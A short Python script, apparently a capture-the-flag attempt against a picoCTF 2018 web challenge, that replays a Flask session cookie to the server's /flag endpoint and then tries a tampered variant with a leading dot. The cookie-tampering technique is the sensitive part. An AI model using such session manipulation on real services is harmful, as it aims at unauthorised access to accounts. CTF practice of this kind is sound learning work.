#!/usr/bin/python3
import  requests
from http.cookies import SimpleCookie

session = requests.Session()
simplecookie = SimpleCookie()
simplecookie.load("session=eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkknbSBzb3JyeSBpdCBkb2Vzbid0IGxvb2sgbGlrZSB5b3UgYXJlIHRoZSBhZG1pbi4iXX1dfQ.DpjWCw.w8Q9HbNscNm_rd6EeTjSf0ULB8s; HttpOnly; Path=/; Expires=Session")

cookies = { key : morsel.value for key, morsel in simplecookie.items() }
session.cookies = requests.cookies.cookiejar_from_dict(cookies)
print(session.cookies)

res = session.get("http://2018shell2.picoctf.com:39670/flag")

print(res.headers)

simplecookie.load("session=.eyJfZmxhc2hlcyI6W3siIHQiOlsid2FybmluZyIsIkknbSBzb3JyeSBpdCBkb2Vzbid0IGxvb2sgbGlrZSB5b3UgYXJlIHRoZSBhZG1pbi4iXX1dfQ.DpjWCw.w8Q9HbNscNm_rd6EeTjSf0ULB8s; HttpOnly; Path=/; Expires=Session")

cookies = { key : morsel.value for key, morsel in simplecookie.items() }
session.cookies = requests.cookies.cookiejar_from_dict(cookies)
print(session.cookies)

res = session.get("http://2018shell2.picoctf.com:39670/flag")


with open("result.html", "w") as f :
    f.write(res.text)
